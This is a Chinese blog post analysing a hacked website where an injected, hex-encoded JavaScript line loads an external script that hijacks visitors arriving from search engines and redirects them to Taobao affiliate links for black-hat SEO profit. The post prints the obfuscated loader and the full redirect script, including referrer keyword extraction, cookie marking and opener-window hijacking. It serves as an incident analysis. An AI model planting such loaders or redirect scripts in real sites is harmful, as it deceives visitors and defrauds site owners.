好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

简单分析一个通过js劫持进行黑帽SEO做淘宝客的案

某年、某月、某日,某事、某刻、某分、某秒,某人、某站、某代码的分析……   起因如下,在某时某刻,某人发过来一站及一段代码,然后求分析……   目标地址:http://upangu.com/   目标代码:<script src="http://go.90psman.com/js.js"></script>   某人提出疑问:这段代码查看源代码是不存在的,但是在chrome的审查元素下能查到,为啥啊?       查看源文件,不存在该段代码       使用浏览器元素审查功能,则存在该代码   产生这种问题的原因其实很简单,这是执行页面内部JavaScript 或外部.js 脚本后动态输出、插入的代码,具有该功能的函数有:   document.write document.writeln tablerowObject.innerHTML ......这是很简单的一个函数,应用很广,这里就不多说了……   那么,思路就很清晰了,我们只需要揪出来它藏在哪段脚本里即可……   经过一段时间排查(小窍门:由于JavaScript 是从上到下依次执行的,所以重点排查目标代码之上的JavaScript 及Js 文件即可,当然,如果你时间多的话,全部检查一遍也无妨),在首页调用的一个Js 中发现一段可疑代码:   首页调用的正常Js 文件:   <script type="text/javascript" src="statics/script/tools.js"></script>可疑代码(代码经过格式化):   var rs_cd = "3C736372697074207372633D2268747"; rs_cd += "4703A2F2F676F2E393070736D616E2E636"; rs_cd += "F6D2F6A732E6A73223E3C2F7363726970743E"; var rs_ct = ""; for (var i = 0; i < rs_cd.length; i += 2) {     var rs_ch = parseInt(rs_cd.substring(i, i + 2), 16);     rs_ct += String.fromCharCode(rs_ch); } document.writeln(rs_ct);   可疑代码   看似加密了,其实解密方法很简单:   <script> var rs_cd = "3C736372697074207372633D2268747"; rs_cd += "4703A2F2F676F2E393070736D616E2E636"; rs_cd += "F6D2F6A732E6A73223E3C2F7363726970743E"; var rs_ct = ""; for (var i = 0; i < rs_cd.length; i += 2) {     var rs_ch = parseInt(rs_cd.substring(i, i + 2), 16);     rs_ct += String.fromCharCode(rs_ch); } alert(rs_ct); </script>   还原后的代码为:   <script src="http://go.90psman.com/js.js"></script>这个所谓的加密只是十六进制表示的字符串而已……   至此,分析结果已经很清晰了:   1、某人入侵了该站,至少有文件修改权限。   2、找到了首页调用的一个Js,并在其不起眼的位置加了一段恶意Js 代码。   代码分析完毕,我们再回过头来看看这段Js 代码是干什么的吧……   首先下载:http://go.90psman.com/js.js   (吐槽:直接打开[go.90psman.com],居然还伪装成304 错误:Bad Request (Invalid Hostname))   从下载的数据包中得知,该文件最后修改时间为:       HTTP/1.1 200 OK Date: Thu, 06 Sep 2012 06:36:46 GMT Cache-Control: max-age=864000 Content-Length: 4740 Content-Type: application/x-javascript Last-Modified: Fri, 17 Aug 2012 14:43:42 GMT Accept-Ranges: bytes ETag: "68c2b4b2867ccd1:13c2" X-Powered-By: ASP.NET Age: 2 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive也就是北京时间:2012年8月17日(星期五)22时43分42秒,看来这段代码有一段时间没更新了……   扯远了,回过头来继续看js.js 内容(代码经过格式化):   if ("undefined" == typeof(reObj)) {     reObj = [];     reObj.platF = navigator.platform.toString().toLowerCase();     reObj.appVer = navigator.userAgent;     reObj.refer = document.referrer;     reObj.domain = document.domain;     reObj.appVerStr = reObj.appVer.toLowerCase();     reObj.win = window;     reObj.yOs = function() {         var osInfo = "";         var fSys = new RegExp("(NT 5.2)|(NT 5.0)", "i");         var fBrowser = new RegExp("(firefox)|(alexa)", "i");         try {             osInfo = reObj.appVer.match(/Windows NT \d.\d/i).toString().toLowerCase();         } catch(e) {}         if (fSys.test(osInfo) || fBrowser.test(reObj.appVer) || reObj.platF == "x11" || reObj.platF.indexOf("linux") > -1) return false;         return true;     };     reObj.isIE678 = function() {         var chkIEReg = new RegExp("(MSIE 8.0)|(MSIE 6.0)|(MSIE 7.0)", "i");         if (chkIEReg.test(reObj.appVer)) return true;         return false;     };     reObj.noPluginDev = function(notIeCore) {         if (!notIeCore) return true;         var regPlugin = new RegExp("(google)|(firefox)", "i");         try {             for (i = 0; i < navigator.plugins.length; i++) {                 if (regPlugin.test(navigator.plugins[i].name)) return false;             }         } catch(e) {}         return true;     };     reObj.notIE = function() {         if (window.ActiveXObject) return false;         return true;     };     reObj.tRefer = function() {         var goRefers = new RegExp("(www.baidu.c)|(image.baidu.c)|(www.google.c)|(www.soso.c)|(wenwen.soso.c)|(www.sogou.c)|(www.youdao.c)|(cn.bing.c)|(www.yahoo.c)", "i");         if (goRefers.test(reObj.refer)) return true;         return false;     };     reObj.getQuery = function(name, url) {         var reg = new RegExp("(^|\\?|&)" + name + "=([^&]*)(\\s|&|$)", "i");         if (reg.test(url)) return RegExp.$2.replace(/\+/g, " ");         return "";     };     reObj.getReferHost = function() {         if (reObj.refer) return reObj.refer.split("/")[2];         return "";     };     reObj.getKwd = function() {         var rf_domain = reObj.getReferHost();         var qKwd = new RegExp("(www.youdao.c)|(www.google.c)|(www.yahoo.c)|(cn.bing.c)", "i");         var key = "";         if (rf_domain == "www.baidu.com" || rf_domain == "image.baidu.com") {             key = reObj.getQuery("wd", reObj.refer);             if (key == "") key = reObj.getQuery("word", reObj.refer);             key = key + "//b";         } else if (rf_domain == "www.soso.com" || rf_domain == "wenwen.soso.com") {             key = reObj.getQuery("w", reObj.refer);             key = key + "//s";         } else if (rf_domain == "www.sogou.com") {             key = reObj.getQuery("query", reObj.refer);             key = key + "//g";         } else if (qKwd.test(rf_domain)) {             key = reObj.getQuery("q", reObj.refer);             key = key + "//o";         } else {             key = "";         }         return key;     };     reObj.getBsKwd = function() {         var rf_domain = reObj.getReferHost();         var bsKwd = new RegExp("(www.baidu.c)|(www.soso.c)", "i");         if (bsKwd.test(rf_domain)) return reObj.getQuery("bs", reObj.refer);         return "";     };     reObj.normalKwd = function(KeyStr, bsKeyStr) {         var notKwds = new RegExp("(site)|(link)|(domain)|(in)|(www)|(http)|(%22)", "i");         var keyObj = new RegExp(KeyStr, "i");         var bskeyObj = new RegExp(bsKeyStr, "i");         if (KeyStr != "" && bsKeyStr != "") {             if (notKwds.test(KeyStr + "" + bsKeyStr) || keyObj.test(reObj.domain) || bskeyObj.test(reObj.domain)) {                 return false;             } else {                 return true;             }         } else if (KeyStr != "") {             if (notKwds.test(KeyStr) || keyObj.test(reObj.domain)) {                 return false;             } else {                 return true;             }         } else return false;     };     reObj.wdOpen = function(lochref, isParent) {         if (isParent) {             try {                 reObj.win.opener.location = lochref;             } catch(e) {                 try {                     reObj.win.opener.navigate(lochref);                 } catch(e2) {                     try {                         reObj.win.opener.opener.navigate(lochref);                     } catch(e3) {}                 }             }         } else reObj.win.location.replace(lochref);     };     reObj.getcookie = function(sName) {         var aCookie = document.cookie.split("; ");         for (var i = 0; i < aCookie.length; i++) {             var aCrumb = aCookie[i].split("=");             if (sName == aCrumb[0]) return unescape(aCrumb[1])         }         return ""     };     reObj.getCkExpires = function(sName) {         var aCookie = document.cookie.split("; ");         for (var i = 0; i < aCookie.length; i++) {             var aCrumb = aCookie[i].split("=");             if (sName == aCrumb[0]) return unescape(aCrumb[1])         }         return ""     };     reObj.setcookie = function(sValue) {         date = new Date();         date.setDate(date.getDate() + 7);         document.cookie = "W3LOOSEDTD=" + escape(sValue) + "; expires=" + date.toGMTString() + ";path=/";     };     reObj.markGo = function() {         if (reObj.getcookie("W3LOOSEDTD") == "") return true;         return false;     };     if (reObj.yOs()) {         var refKwd = reObj.getKwd();         var whichS;         if (refKwd == "") {             whichS = "null";         } else {             whichS = refKwd.split("//")[1];             refKwd = refKwd.split("//")[0];         }         var refBsKwd = reObj.getBsKwd();         if (reObj.tRefer()) {             if (reObj.normalKwd(refKwd, refBsKwd)) {                 if (reObj.markGo()) {                     var notIeCore = reObj.notIE();                     if (reObj.noPluginDev(notIeCore)) {                         reObj.setcookie("ECIHOOOCADGFBNLABBEFMIIG");                         var ggUrl = "http://compatible.googlecode.com/svn/branches/navigator.html?q=";                         if (notIeCore) reObj.wdOpen(ggUrl + refKwd, notIeCore);                         else if (reObj.isIE678()) reObj.wdOpen("http://chinacaidao.com/301.asp?s=" + whichS + "&b=" + encodeURIComponent(refBsKwd) + "&q=" + encodeURIComponent(refKwd), notIeCore);                         else reObj.wdOpen(ggUrl + refKwd, notIeCore);                     }                 }             }         }     }     reObj.setcookie("ECIHOOOCADGFBNLABBEFMIIG"); }大略的看了一下代码,代码很简单,判断用户来路,如果符合条件则植入Cookie + 跳转,简单地说,就是最近很流行的某种黑帽SEO 方法。   方法就不介绍了,可以翻翻本站以前的文章,有详细讲过……   现在看看它跳转到哪里去了,我们来构造Url 地址:   格式:   http://chinacaidao.com/301.asp?s=关键词&b=前一个关键词&q=关键词   (提示:以上关键词均提取自来路地址)   例子:   http://chinacaidao.com/301.asp?s=核总到此一游&b=核总再次一游&q=核总三顾茅庐   访问该地址后,302(Moved Temporarily)跳转到:       Url 地址:   http://s8.taobao.com/search?q=茅庐&commend=all&pid=mm_32507042_3273379_10698017   分析Url,看到[pid]木有?呵呵,taobao + pid = ?,你懂、我懂、大家都懂……   它就是:狗血的淘宝客……(不知道什么是淘宝客的同学,可以自己去查查)   再看关键词[茅庐],这和之前提交的关键词存在关联,提交之后,会自动跳转到淘宝搜索页面(淘宝客返利)……   (提示:如果直接访问http://chinacaidao.com/301.asp 不提交任何关键词,那么会使用默认关键词[保健品])   至此,这个个流程已经很清晰了,整个流程,都是地地道道的利用黑帽SEO做淘宝客,具体的不多说,这行大家都懂……   (PS:淘宝客做得好的话,利润还是相当高的,比黑产还疯狂……)   最后,对该[ 黑客 ]进行总体评价:   隐藏方法:★★★★★★★★☆☆   隐藏位置:★★★★★☆☆☆☆☆   加密方案:★★☆☆☆☆☆☆☆☆   编程 功力:★★★★★★☆☆☆☆   盈利方案:★★★★★★★☆☆☆   总体评价:★★★★★★★☆☆☆   最后,从各个角度加以分析后,得出一个结论,该[黑客]为专业黑帽SEO,并非普通做关键词的小喽罗。   可惜,在更专业的黑客面前,一切都是浮云……

查看更多关于简单分析一个通过js劫持进行黑帽SEO做淘宝客的案的详细内容...

  阅读:59次